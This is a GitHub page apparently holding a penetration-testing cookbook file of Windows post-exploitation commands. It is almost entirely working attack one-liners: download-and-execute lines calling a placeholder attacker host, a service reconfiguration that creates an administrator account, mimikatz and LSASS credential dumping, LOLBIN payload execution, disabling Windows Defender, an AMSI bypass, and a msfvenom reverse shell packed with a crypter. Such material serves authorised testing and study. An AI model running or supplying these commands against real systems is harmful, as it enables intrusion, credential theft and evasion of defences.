-
Notifications
You must be signed in to change notification settings - Fork 35
/
Target.Host.OS.Windows.txt
1278 lines (903 loc) · 59.8 KB
/
Target.Host.OS.Windows.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
`` Enumeration
`` Automated
-- Easily detected by AV without patching
~> seatbelt.exe all full > report.txt
`` whoami
~> echo %USERNAME% || whoami.exe
~> wmic.exe useraccount where name='%USERNAME%' get sid
-- Verbose (whoami may trigger EDR)
~> whoami.exe /all
`` Users and Groups
~> net.exe users
~> net.exe localgroup
~> net.exe localgroup Administrators
~> net.exe localgroup "Remote Desktop Users"
-- Verbose, with SIDs
~> wmic.exe useraccount list full
`` OS
-- Basic
~> ver.exe & echo %PROCESSOR_ARCHITECTURE%
-- With systeminfo
~> systeminfo.exe | findstr.exe /B /C:"OS Name" /C:"OS Version" /C:"System Type"
-- Windows Release ID
~> reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ReleaseId
-- WMI variant
~> wmic.exe os get OSArchitecture,Caption,Version
`` File-based
-- Windows XP
- C:\Windows\System32\eula.txt
-- Windows 7
- C:\Windows\System32\license.rtf
-- Windows 10
- C:\Windows\System32\license.rtf (EULA code lookup)
`` Networking
~> ipconfig.exe /all
~> arp.exe -a
-- Routing
~> route.exe print
~> netstat.exe -r
-- Listening TCP sockets
~> netstat.exe -ano -p tcp | findstr.exe LISTENING
-- Listening UDP sockets
~> netstat.exe -ano -p udp | findstr.exe LISTENING
-- Find a binary behind the specific port
~> for /f "tokens=3 delims=LISTENING" %i in ('netstat.exe -ano ^| findstr.exe "VAR_INTEGER"') do tasklist.exe /fi "pid eq %i"
~PS> netstat.exe -aon | Select-String VAR_INTEGER | ForEach-Object { $_ -replace '\s+', ',' } | ConvertFrom-Csv -Header @('Empty', 'Protocol', 'AddressLocal', 'AddressForeign', 'State', 'PID') | ForEach-Object { $portProcess = Get-Process | Where-Object Id -eq $_.PID; $_ | Add-Member -NotePropertyName 'ProcessName' -NotePropertyValue $portProcess.ProcessName; Write-Output $_ } | Sort-Object ProcessName, State, Protocol, AddressLocal, AddressForeign | Select-Object ProcessName, State, Protocol, AddressLocal, AddressForeign | Format-Table
-- Established connections
~> netstat.exe -an | findstr.exe ESTABLISHED
`` Firewall Settings
`` State
~> netsh.exe firewall show state
`` Open ports
@ snippets/windows/utils/Win10FirewallRules.ps1
`` In the Windows Network context
`` General
-- Computer name, user name, OS version and communication settings
~> net.exe config workstation
~> net.exe config server
-- Show information about all sessions with the local computer
~> net.exe session
-- Show a list of network connections
~> net.exe use
-- Show a list of computers
~> net.exe view
-- Shared resources for all domains in the network
~> net.exe view /all /domain
-- Show password and logon policy for the domain
~> net.exe accounts /domain
`` Network Shares
~> net.exe share
~> wmic.exe share list
`` Windows Server (RDP)
~> qwinsta.exe
~> quser.exe
`` SNMP
~> reg.exe query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
~PS> Get-ChildItem --Path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
`` IPv6 support
~PS> Write-Host 'OS Supports IPv6: ' $( [System.Net.Sockets.Socket]::OSSupportsIPv6 )
`` PowerShell
~> reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
~> reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" /v PowerShellVersion
`` Check if running as 64-bit
~> [Environment]::Is64BitProcess
`` Check if running in CLM
~> $ExecutionContext.SessionState.LanguageMode
`` Startup Items
~> wmic.exe startup list brief
`` Services
~> net.exe start
~> sc.exe query state= all | findstr.exe "SERVICE_NAME DISPLAY_NAME STATE"
`` Powershell
~PS> Get-Service VAR_NAME | format-list
~PS> Get-Itemproperty HKLM:\System\CurrentControlSet\services\VAR_NAME
`` Unquoted Service Paths
~> wmic.exe service get Name,DisplayName,PathName,StartMode | findstr.exe /i /v "C:\Windows" | findstr.exe /i /v """
`` Installed software
~> dir /a "C:\Program Files" "C:\Program Files (x86)"
~> reg.exe query HKEY_LOCAL_MACHINE\SOFTWARE
-- Verbose but takes time
~> wmic.exe product get Name,Version
-- Drivers
~> driverquery.exe
-- AV
~> wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /format:list
-- Installed Patches
~> wmic.exe qfe get Caption,Description,HotFixID,InstalledOn
-- Security mechanisms enabled?
~> reg.exe query HKLM\System\CurrentControlSet\Control\DeviceGuard
- EnableVirtualizationSecurity - Credential Guard
- RequirePlatformServices - 1 for SecureBoot
- RequirePlatformServices - 3 for Secure Boot and DMA Protection
`` Processes
~> tasklist.exe /svc
~> tasklist.exe /v /fi "username eq system"
-- Verbose
~> wmic.exe process list
`` Scheduled Tasks
~> schtasks.exe /query /fo LIST /v
~> schtasks.exe /query /fo LIST 2>nul | findstr.exe "VAR_STRING"
`` Logging
~> reg.exe query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
~> reg.exe query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
~> reg.exe query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
~> reg.exe query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
~> wevutil el
`` AppLocker
~PS> (Get-AppLockerPolicy -Local).RuleCollections
~PS> Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
~> reg.exe query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
`` Interesting files
- %SYSTEMROOT%\System32\$winnt$.inf
- %SYSTEMROOT%\Panther\Unattend.xml
- %SYSTEMROOT%\Panther\Unattend\Unattend.xml
- %SYSTEMROOT%\system32\sysprep.inf
- %SYSTEMROOT%\system32\sysprep\sysprep.xml
- %SYSTEMROOT%\ntds
- %SYSTEMROOT%\System32\GroupPolicy\Machine
- %SYSTEMROOT%\System32\GroupPolicy\User
- %SYSTEMROOT%\System32\GroupPolicyUsers
- %SYSTEMDRIVE%\pagefile.sys
- %SYSTEMROOT%\debug\NetSetup.log
- %SYSTEMROOT%\iis6.log
- %SYSTEMROOT%\iis7.log
- %SYSTEMROOT%\iis8.log
- %SYSTEMROOT%\Panther\Unattend.txt
- %SYSTEMROOT%\php.ini
- %SYSTEMROOT%\repair\SAM
- %SYSTEMROOT%\repair\security
- %SYSTEMROOT%\repair\software
- %SYSTEMROOT%\repair\system
- %SYSTEMROOT%\system32\CCM\logs\*.log
- %SYSTEMROOT%\system32\config\AppEvent.Evt
- %SYSTEMROOT%\system32\config\default.sav
- %SYSTEMROOT%\system32\config\regback\default
- %SYSTEMROOT%\System32\config\RegBack\SAM
- %SYSTEMROOT%\System32\config\RegBack\system
- %SYSTEMROOT%\system32\config\regback\security
- %SYSTEMROOT%\system32\config\regback\software
- %SYSTEMROOT%\System32\config\SAM
- %SYSTEMROOT%\system32\config\SecEvent.Evt
- %SYSTEMROOT%\system32\config\security.sav
- %SYSTEMROOT%\system32\config\software.sav
- %SYSTEMROOT%\System32\config\SYSTEM
- %SYSTEMROOT%\system32\config\system.sav
- %SYSTEMROOT%\System32\drivers\etc\hosts
- %SYSTEMROOT%\System32\drivers\etc\networks
- %SYSTEMROOT%\system32\inetsrv\config\applicationHost.config
- %SYSTEMROOT%\system32\inetsrv\config\schema\ASPNET_schema.xml
- %SYSTEMROOT%\system32\logfiles\httperr\httperr1.log
- %SYSTEMROOT%\system32\sysprep
- %SYSTEMROOT%\win.ini
- %SYSTEMROOT%\windowsupdate.log
- %USERPROFILE%\ntuser.dat
- %USERPROFILE%\Application Data\Microsoft\Credentials\
- %SYSTEMDRIVE%\apache\logs\access.log
- %SYSTEMDRIVE%\apache\logs\error.log
- %SYSTEMDRIVE%\apache\php\php.ini
- %SYSTEMDRIVE%\Autounattend.xml
- %SYSTEMDRIVE%\boot.ini
- %SYSTEMDRIVE%\Documents and Settings\Administrator\desktop\desktop.ini
- %SYSTEMDRIVE%\Documents and Settings\Administrator\NTUser.dat
- %SYSTEMDRIVE%\Documents and Settings\Administrator\ntuser.ini
- %SYSTEMDRIVE%\inetpub\logs\LogFiles\
- %SYSTEMDRIVE%\inetpub\wwwroot\
- %SYSTEMDRIVE%\inetpub\wwwroot\global.asa
- %SYSTEMDRIVE%\inetpub\wwwroot\web.config
- %SYSTEMDRIVE%\MySQL\data\hostname.err
- %SYSTEMDRIVE%\MySQL\data\mysql.err
- %SYSTEMDRIVE%\MySQL\data\mysql.log
- %SYSTEMDRIVE%\MySQL\my.cnf
- %SYSTEMDRIVE%\MySQL\my.ini
- %SYSTEMDRIVE%\php4\php.ini
- %SYSTEMDRIVE%\php5\php.ini
- %SYSTEMDRIVE%\php\php.ini
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache\conf\access.log
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache\conf\error.log
- %SYSTEMDRIVE%\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files (x86)\FileZilla Server\FileZilla Server.xml
- %SYSTEMDRIVE%\Program Files (x86)\xampp\apache\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache2\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache\conf\httpd.conf
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache\logs\access.log
- %SYSTEMDRIVE%\Program Files\Apache Group\Apache\logs\error.log
- %SYSTEMDRIVE%\Program Files\FileZilla Server\FileZilla Server.xml
- %SYSTEMDRIVE%\Program Files\MySQL\data\hostname.err
- %SYSTEMDRIVE%\Program Files\MySQL\data\mysql-bin.log
- %SYSTEMDRIVE%\Program Files\MySQL\data\mysql.err
- %SYSTEMDRIVE%\Program Files\MySQL\data\mysql.log
- %SYSTEMDRIVE%\Program Files\MySQL\my.cnf
- %SYSTEMDRIVE%\Program Files\MySQL\my.ini
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\hostname.err
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\mysql-bin.log
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\mysql.err
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\data\mysql.log
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\my.cnf
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.0\my.ini
- %SYSTEMDRIVE%\Program Files\MySQL\MySQL Server 5.1\my.ini
- %SYSTEMDRIVE%\sysprep.inf
- %SYSTEMDRIVE%\sysprep\sysprep.inf
- %SYSTEMDRIVE%\sysprep\sysprep.xml
- %SYSTEMDRIVE%\Unattend.xml
- %SYSTEMDRIVE%\Users\Administrator\Desktop\desktop.ini
- %SYSTEMDRIVE%\Users\Administrator\NTUser.dat
- %SYSTEMDRIVE%\Users\Administrator\NTUser.ini
- %SYSTEMDRIVE%\xampp\apache\bin\php.ini
- %SYSTEMDRIVE%\xampp\apache\conf\httpd.conf
- %SYSTEMDRIVE%\xampp\apache\logs\access.log
- %SYSTEMDRIVE%\xampp\apache\logs\error.log
- %SYSTEMDRIVE%\xampp\security\webdav.htpasswd
- %SYSTEMDRIVE%\xampp\tomcat\conf\tomcat-users.xml
- %SYSTEMDRIVE%\xampp\tomcat\conf\web.xml
- %SYSTEMDRIVE%\xampp\webalizer\webalizer.conf
- %SYSTEMDRIVE%\xampp\webdav\webdav.txt
- %APPDATA%\Microsoft\Credentials
- %APPDATA%\Microsoft\Protect
- *.gpg
- *.pgp
- *.p12
- *.der
- *.csr
- *.cer
- *.ovpn
- *.kdbx
`` Registry keys
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit
- HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute
- HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce (legacy Windows)
~> reg.exe query HKLM /f password /t REG_SZ /s
`` Weak Permissions
`` Filesystem
~> icacls "C:\Documents and Settings\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\Program Files (x86)\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\Program Files\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\Users\*" 2>nul | findstr.exe "(F) (M)" | findstr.exe "Everyone BUILTIN\Users"
~> icacls "C:\*." /findsid VAR_USERNAME /t /c /l 2>nul
-- Files
~> accesschk.exe -uwvs "Authenticated Users" c:\
~> accesschk.exe -uwvs "Everyone" c:\
~> accesschk.exe -uwvs "Users" c:\
-- Directories
~> accesschk.exe -duwvs "Authenticated Users" c:\
~> accesschk.exe -duwvs "Everyone" c:\
~> accesschk.exe -duwvs "Users" c:\
`` Registry
~> accesschk.exe -kuwvs "Authenticated Users" "HKLM\SYSTEM\CurrentControlSet\Services"
~> accesschk.exe -kuwvs "Everyone" "HKLM\SYSTEM\CurrentControlSet\Services"
~> accesschk.exe -kuwvs "Users" "HKLM\SYSTEM\CurrentControlSet\Services"
`` With PowerShell
~PS> Get-ChildItem -Recurse | Get-Acl | out-string -stream | select-string -pattern "Everyone"
`` Sensitive data
~> dir /S /B *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
~> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* 2>nul
~> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* 2>nul
~> cd C:\ && findstr.exe /SI /M password *.xml *.ini *.txt *.config *.cfg 2>nul
~PS> Get-Childitem -Path C:\Users\ -Include *pass*,*cred*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
~PS> Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
`` File transfer
`` BitsAdmin
~> cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://VAR_ATTACKER_HOST/accesschk.exe accesschk.exe
~PS> Import-Module BitsTransfer
~PS> Start-BitsTransfer -Source $url -Destination $output
`` certutil
~> certutil.exe -urlcache -split -f "http://VAR_ATTACKER_HOST/file.b64" & certutil.exe -f -decode Blob0_0.bin accesschk.exe & del Blob0_0.bin
~> certutil.exe -urlcache -split -f "http://VAR_ATTACKER_HOST/file.b64" & certutil.exe -f -decode accesschk.b64 accesschk.exe & del accesschk.b64
`` Non-interactive FTP
`` Script
@ snippets/windows/utils/ftp.bat
`` Powershell
`` Script
@ snippets/windows/utils/wget_ps1.bat
`` CLI
~> powershell.exe Invoke-WebRequest -Uri http://VAR_ATTACKER_HOST/nc.exe -OutFile C:\nc.exe
~> powershell.exe -c "(new-object System.Net.WebClient).DownloadFile('http://VAR_ATTACKER_HOST/file.exe','C:\Users\user\Desktop\file.exe')"
~PS> $h=New-Object -com Msxml2.XMLHTTP;$h.open('GET','http://VAR_ATTACKER_HOST/script.ps1',$false);$h.send();iex $h.responseText
~PS> $h=New-Object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://VAR_ATTACKER_HOST/script.ps1',$false);$h.send();iex $h.responseText
~PS> $h=New-Object Net.HttpListener;$h.Prefixes.Add("http://+:8000/");$h.Start();While ($h.IsListening){$HC=$h.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type","text/plain");$Buf=[Text.Encoding]::UTF8.GetBytes((GC (Join-Path $Pwd ($HC.Request).RawUrl)));$HRes.ContentLength64=$Buf.Length;$HRes.OutputStream.Write($Buf,0,$Buf.Length);$HRes.Close()};$h.Stop()
~PS> $ie=New-Object -com InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://VAR_ATTACKER_HOST/script.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
~PS> IEX (iwr 'http://VAR_ATTACKER_HOST/script.ps1')
~PS> IEX (New-Object Net.Webclient).downloadstring("http://VAR_ATTACKER_HOST/script.ps1")
~PS> Import-Module bitstransfer;Start-BitsTransfer 'http://VAR_ATTACKER_HOST/script.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
`` DNS
~PS> IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
`` Base64
~$ cat cmd.txt | iconv -t UTF-16LE -f UTF-8 | base64 -w0
~> powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc "JABjAGwAaQBlAG4AdAAgA...UAKAApAAoA"
`` VBS
`` Script
@ snippets/windows/utils/wget_vbs.bat
`` Powershell listener
@ snippets/windows/shells/bind/PortListener.ps1
`` Base64 encoder VBS
@ snippets/windows/utils/base64.vbs
`` Privilege escalation
`` Ideas
- Access to sensitive files such as the Windows SAM file
- Always Install Elevated
- Autologon User Credential
- DLL Hijacking / Proxying
- DLL Injection
- Group Policy Preferences
- Insecure File/Folder Permissions
- Insecure Named Pipes Permissions
- Insecure Registry Permissions
- Insecure Service Permissions
- Installation scripts and data containing passwords
- Registry settings such as always elevated and automatically executed binaries
- Scheduled tasks that execute scripts and programs
- Stored Credentials
- Token Manipulation
- Unattended Answer File
- Unquoted Service Path
- User Account Control (UAC) Bypass
- Vulnerable software running with high privileges
- Windows Kernel Exploit
`` Automated
`` Powershell
- PowerUp.ps1 (https://github.com/PowerShellEmpire/PowerTools)
- jaws-enum.ps1 (https://github.com/411Hall/JAWS)
- HostRecon.ps1 (https://github.com/dafthack/HostRecon)
`` Copy & Paste
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/PowerUp.ps1') | IEX; Invoke-AllChecks
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/jaws-enum.ps1') | IEX
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/HostRecon.ps1'); Invoke-HostRecon
`` Metasploit
~MS> use post/multi/recon/local_exploit_suggester
`` Services
`` Weak Permissions
~> accesschk.exe -uwvc "Authenticated Users" *
~> accesschk.exe -uwvc "Everyone" *
`` Bruteforcing
~PS> $services = ls HKLM:\SYSTEM\CurrentControlset\Services
~PS> foreach ($service in $services) {
~PS> reg.exe add $service.Name /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\test.bat" /f
~PS> Start-Service -name $service.Name.Split("\\")[-1]
~PS> }
`` Configuration
~> sc.exe qc upnphost
~> sc.exe config upnphost binpath= "net user VAR_USERNAME VAR_PASSWORD /add && net localgroup Administrators VAR_USERNAME /add" type= interact
~> sc.exe config upnphost obj= ".\LocalSystem" password= ""
~> net.exe stop upnphost
~> net.exe start upnphost
~PS> Get-Service -name "VAR_STRING*" | Set-Service -StartupType "disabled"
~PS> Stop-Process -force -name VAR_STRING*
`` Finding C# compiler
~> dir /s %WINDIR%\csc.exe
`` mimikatz
~> mimikatz "privilege::debug" "sekurlsa::logonPasswords" exit
~> mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonPasswords" exit
~> mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonPasswords" "lsadump::lsa" "lsadump::trust" exit
~> mimikatz "privilege::debug" "token::elevate /domainadmin" exit
token::run cmd.exe
sekurlsa::pth /user:VAR_USERNAME /domain:VAR_DOMAIN /ntlm:VAR_NT_HASH /run:cmd
~PS> Invoke-Mimikatz -Command '"privilege::debug sekurlsa::logonPasswords"'
~PS> Invoke-Mimikatz -Command '"privilege::debug dbapi::cred /in:VAR_STRING"'
`` With SharpSploit
~> SharpSploitConsole.exe Mimi-Command "!+"
~> SharpSploitConsole.exe Mimi-Command "!processprotect /process:lsass.exe /remove"
~> SharpSploitConsole.exe Mimi-All
`` Dump with SysInternals procdump.exe and load offline to mimikatz
~> procdump.exe -ma lsass.exe lsass.dmp -accepteula
~> mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
`` Dump with native DLL
~> tasklist.exe /fi "imagename eq lsass.exe"
~> C:\Windows\system32\rundll32.exe C:\Windows\system32\comsvcs.dll, MiniDump VAR_STRING_PID %TEMP%\lsass.dmp full
`` Run shell as NT AUTHORITY\SYSTEM
~> psexec.exe -h -i -s %SYSTEMROOT%\system32\cmd.exe -accepteula
`` Evasion
`` AppLocker-free paths
- applocker-bypas-checker.ps1 (https://github.com/HackLikeAPornstar/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1)
`` LOLBINs
~> cmd.exe /k < \\VAR_ATTACKER_HOST\folder\batchfile.txt
~> cscript //E:jscript \\VAR_ATTACKER_HOST\folder\payload.txt
~> mshta vbscript:Close(Execute("GetObject(""script:http://VAR_ATTACKER_HOST/payload.sct"")"))
~> mshta http://VAR_ATTACKER_HOST/payload.hta
~> mshta \\VAR_ATTACKER_HOST\folder\payload.hta
~> rundll32.exe \\VAR_ATTACKER_HOST\folder\payload.dll,entrypoint
~> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://VAR_ATTACKER_HOST/payload.sct");window.close();
~> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.Exec(\"calc\")");
~> wmic.exe os get /format:"https://VAR_ATTACKER_HOST/payload.xsl"
~> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\VAR_ATTACKER_HOST\folder\payload.dll
~> regsvr32 /u /n /s /i:http://VAR_ATTACKER_HOST/payload.sct scrobj.dll
~> regsvr32 /u /n /s /i:\\VAR_ATTACKER_HOST\folder\payload.sct scrobj.dll
~> odbcconf /s /a {regsvr \\VAR_ATTACKER_HOST\folder\payload_dll.txt}
~> cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\VAR_ATTACKER_HOST\folder\payload.xml > payload.xml & !MB! payload.xml"
~> certutil -urlcache -split -f http://VAR_ATTACKER_HOST/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
~> rundll32 c:\windows\system32\ieframe.dll,OpenURL 1.url
`` AlwaysInstallElevated
~> reg.exe query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated"
~> reg.exe query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated"
`` Disabling defense
`` Is Credential Guard enabled?
~PS> Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
`` Disabling Windows Defender
~> reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
-- Disable real-time monitoring, cloud-delivered protection and automatic sample submission
~PS> Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disabled
~> sc.exe stop WinDefend
~PS> "C:\Program Files\Windows Defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
~PS> Add-MpPreference -ExclusionPath C:\
`` Invoke-Mimikatz "obfuscation"
~$ ~/lib/pentesting-cookbook/snippets/windows/utils/obfuscate-mimikatz.sh ./Invoke-Mimikatz.ps1 Invoke-Minidoggiez.ps1
`` Invoke-Obfuscation
~PS> Invoke-Obfuscation -ScriptPath 'https://example.com/VAR_STRING.ps1' -Command 'TOKEN,ALL,1,OUT Invoke-Minidoggiez.ps1' -Quiet
`` In-memory Mimikatz
~PS> $browser = New-Object System.Net.WebClient
~PS> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials
~PS> mimi= $browser.DownloadString("http://VAR_ATTACKER_HOST/Invoke-Minidoggiez.ps1")
~PS> Invoke-Expression(mimi)
~PS> Invoke-Minidoggiez
`` Hyperion
~$ msfvenom -p windows/shell_reverse_tcp lhost=VAR_ATTACKER_HOST lport=VAR_ATTACKER_PORT -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o foobar.exe
~$ cp /usr/share/windows-binaries/Hyperion-1.0.zip .
~$ unzip Hyperion-1.0.zip
~$ cd Hyperion-1.0/
~$ Hyperion-1.0# i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
~$ Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-mingw32/6.1-win32/libgcc_s_sjlj-1.dll .
~$ Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-mingw32/6.1-win32/libstdc++-6.dll .
~$ Hyperion-1.0# wine hyperion.exe ../foobar.exe ../crypted.exe
`` Disable AMSI
~PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null,$true)
